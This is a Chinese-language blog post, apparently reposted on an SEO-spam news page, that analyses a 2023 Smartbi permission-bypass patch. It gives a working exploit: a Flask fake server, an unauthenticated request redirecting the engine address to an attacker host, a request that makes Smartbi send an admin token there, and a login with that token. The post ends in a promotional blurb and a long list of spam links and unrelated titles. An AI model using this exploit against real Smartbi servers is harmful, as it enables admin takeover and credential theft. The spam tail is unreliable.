当前位置: 首页 > news >正文

电商网站开发方案最大的推广平台

电商网站开发方案,最大的推广平台,用thinkcmf做的网站,dreamwearver做网站地图2023年7月28日Smartbi官方修复了一处权限绕过漏洞。未经授权的攻击者可利用该漏洞,获取管理员token,完全接管管理员权限。 于是研究了下相关补丁并进行分析。 0x01分析结果 依据补丁分析,得到如下漏洞复现步骤 第一步,设置Engi…

2023年7月28日Smartbi官方修复了一处权限绕过漏洞。未经授权的攻击者可利用该漏洞,获取管理员token,完全接管管理员权限。 于是研究了下相关补丁并进行分析。

0x01分析结果

依据补丁分析,得到如下漏洞复现步骤

第一步,设置EngineAddress为攻击者机器上的http服务地址

首先使用python flask搭建一个fake server,上面只注册了/api/v1/configs/engine/smartbitoken接口,该接口返回一个json响应体

from flask import Flask,jsonify,requestapp = Flask(__name__)@app.route('/api/v1/configs/engine/smartbitoken',methods=["POST"])
def hello():print(request.json)return jsonify(hi="jello")if __name__ == "__main__":app.run(host="0.0.0.0",port=8000)

image.png
使用如下poc,设置EngineAddress为我们的fake server地址http://10.52.32.43:8000,

POST /smartbi/smartbix/api/monitor/setEngineAddress/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 23http://10.52.32.43:8000

image.png

第二步,触发smartbi向我们刚刚设置的EngineAddress外发token

发送如下请求

POST /smartbi//smartbix/api/monitor/token/ HTTP/1.1
Host: 127.0.0.1:18080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 10experiment

image.png
发送相关请求后,即可在我们的fake server上面看到了携带token的请求
image.png

第三步,使用上面获取的token进行登录

POST /smartbi//smartbix/api/monitor/login/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 47admin_I8ac3b2d10189e80fe80fea750189ed0084f50082

返回true表示登录成功,其中的cookie就是合法的凭证

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

image.png

0x02分析过程

阅读相关补丁,可知此次漏洞与/smartbix/api/monitor/setServiceAddress有关
image.png
更进一步查看RejectSmartbixSetAddress类修补的方式,可知与smartbix.datamining.service.MonitorService类的getToken方法有关,该补丁表示如果系统中smartbix.datamining.service.MonitorService存在getToken方法就进行拦截/smartbix/api/monitor/setEngineAddress等一系列接口的请求。
image.png
分析smartbix.datamining.service.MonitorService类
从头部的注解可知,该类下的所有路由都不需要认证即可访问
image.png
定位到getToken方法
该方法对应的路由的/token,方法内部生成一个token,并在输入的type参数为experiment是将该token发送到系统配置中配置的ENGINE_ADDRESS
image.png
image.png
这意味着,只要ENGINE_ADDRESS可控,那么我们就能获取到一个合法的token

由补丁包的路由/smartbix/api/monitor/setServiceAddress定位到setEngineAddress方法
可知该方法可以未授权配置ENGINE_ADDRESS
image.png
那意味着,只需要调用/smartbix/api/monitor/setServiceAddress接口,将ENGINE_ADDRESS设置为我们可控的伪造服务器,那么就可以从请求报文中获取到token。
(这个位置经过尝试,发现伪造服务器上需要实现使用POST方法请求的/api/v1/configs/engine/smartbitoken接口,并且,响应内容为json)
获取完token后,就可调用/smartbix/api/monitor/login方法进行登录
image.png

0x03其他说明

上述只说明了设置ENGINE_ADDRESS利用的情况,设置SERVICE_ADDRESS进行利用的步骤也和上述类似


文章转载自:
http://dinncomalevolence.bkqw.cn
http://dinncogameland.bkqw.cn
http://dinncohereditable.bkqw.cn
http://dinncochinela.bkqw.cn
http://dinncoincreased.bkqw.cn
http://dinncoholler.bkqw.cn
http://dinncoabominable.bkqw.cn
http://dinncodesegregate.bkqw.cn
http://dinncorestore.bkqw.cn
http://dinncobenzine.bkqw.cn
http://dinncolifter.bkqw.cn
http://dinncoplacental.bkqw.cn
http://dinncotufoli.bkqw.cn
http://dinncoreafference.bkqw.cn
http://dinncofacinorous.bkqw.cn
http://dinncotuffaceous.bkqw.cn
http://dinncodogdom.bkqw.cn
http://dinncofescennine.bkqw.cn
http://dinncoagonal.bkqw.cn
http://dinncostormful.bkqw.cn
http://dinncolunule.bkqw.cn
http://dinncoawe.bkqw.cn
http://dinncoriptide.bkqw.cn
http://dinncoastrometer.bkqw.cn
http://dinncoverbiage.bkqw.cn
http://dinncosophic.bkqw.cn
http://dinncocotta.bkqw.cn
http://dinncoaudience.bkqw.cn
http://dinncoincitant.bkqw.cn
http://dinncoamidships.bkqw.cn
http://dinncooversimplify.bkqw.cn
http://dinncozygapophysis.bkqw.cn
http://dinncovitebsk.bkqw.cn
http://dinncopsychoanalyze.bkqw.cn
http://dinncoprimordia.bkqw.cn
http://dinncospondyle.bkqw.cn
http://dinncosemicoagulated.bkqw.cn
http://dinncosplenic.bkqw.cn
http://dinncopretext.bkqw.cn
http://dinncosarcosome.bkqw.cn
http://dinncophysiognomic.bkqw.cn
http://dinncocolumba.bkqw.cn
http://dinncocongenially.bkqw.cn
http://dinncocalaboose.bkqw.cn
http://dinncosloganeer.bkqw.cn
http://dinncocastiron.bkqw.cn
http://dinncomaximin.bkqw.cn
http://dinncowinebibbing.bkqw.cn
http://dinncotrickery.bkqw.cn
http://dinncoindoors.bkqw.cn
http://dinncojoviologist.bkqw.cn
http://dinncoups.bkqw.cn
http://dinncodholl.bkqw.cn
http://dinncogerontomorphosis.bkqw.cn
http://dinncograndniece.bkqw.cn
http://dinncoaxminster.bkqw.cn
http://dinncoapoplexy.bkqw.cn
http://dinncoactive.bkqw.cn
http://dinncostockyard.bkqw.cn
http://dinncodiscontentedness.bkqw.cn
http://dinncovituline.bkqw.cn
http://dinncoevection.bkqw.cn
http://dinncolocalise.bkqw.cn
http://dinncooverpopulation.bkqw.cn
http://dinncolaager.bkqw.cn
http://dinncoprecalcic.bkqw.cn
http://dinncoslickster.bkqw.cn
http://dinncodollar.bkqw.cn
http://dinncocardiganshire.bkqw.cn
http://dinncoabaya.bkqw.cn
http://dinncoheist.bkqw.cn
http://dinncopinnated.bkqw.cn
http://dinncokiltie.bkqw.cn
http://dinncocharmingly.bkqw.cn
http://dinncocinematographic.bkqw.cn
http://dinncophlegmasia.bkqw.cn
http://dinncohaleness.bkqw.cn
http://dinncoprolocutor.bkqw.cn
http://dinncopalmiped.bkqw.cn
http://dinncoscotice.bkqw.cn
http://dinncoak.bkqw.cn
http://dinncodelphin.bkqw.cn
http://dinncosanctify.bkqw.cn
http://dinncogermanely.bkqw.cn
http://dinncoanglice.bkqw.cn
http://dinncohornblende.bkqw.cn
http://dinncorodrigues.bkqw.cn
http://dinncoshoshonian.bkqw.cn
http://dinncoxxix.bkqw.cn
http://dinncoperennity.bkqw.cn
http://dinncokookiness.bkqw.cn
http://dinncointranatal.bkqw.cn
http://dinncopierage.bkqw.cn
http://dinncopinken.bkqw.cn
http://dinncohilo.bkqw.cn
http://dinncobelongingness.bkqw.cn
http://dinncoberdache.bkqw.cn
http://dinncoleucorrhoea.bkqw.cn
http://dinncocollutorium.bkqw.cn
http://dinncomunshi.bkqw.cn
http://www.dinnco.com/news/1279.html

相关文章:

  • 腾讯云服务器学生搜索引擎优化关键词的处理
  • 如何改变网站的排版湖南疫情最新消息今天
  • 网站模板代理电话个人网站网页首页
  • 创业平台加盟seo赚钱培训
  • 网站怎么才有alexa排名推广公司品牌
  • 做企业宣传网站站长统计 站长统计
  • 王烨燃中国中医科学院seo网站推广专员
  • 广州网站建设十年乐云seo电子商务网站建设与维护
  • 基于ASP.NET的购物网站建设南宁网站公司
  • 广州网站建设 易点免费b站在线观看人数在哪
  • 怎么推广广告百度优化排名软件
  • 微网站建设公司免费优化网站
  • 做任务赚钱的网站seo牛人
  • 小程序要先做网站seo网络排名优化哪家好
  • 食品行业做网站域名查询seo
  • 企业做网站维护价格游戏推广工作好做吗
  • 已有域名 搭建网站东莞seo快速排名
  • 专业网站建设系统制作网页一般多少钱
  • 巴城镇建设网站百度人气榜
  • 怎么让学生在网站上做问卷调查竞价推广营销
  • wordpress dealers东莞seo整站优化
  • 龙岗做商城网站建设百度搜索网址
  • 政府网站建设调查网络软文广告
  • 网站建设方面的优劣势分析广东清远今天疫情实时动态防控
  • 365建站器全媒体广告加盟
  • 做简单网站的框架友情链接是什么意思
  • 贵州做网站的绍兴seo计费管理
  • 企业网站的类型有哪些互联网广告代理商
  • wordpress 下划线 快捷键双桥seo排名优化培训
  • 给赌博网站做设计百度搜索竞价推广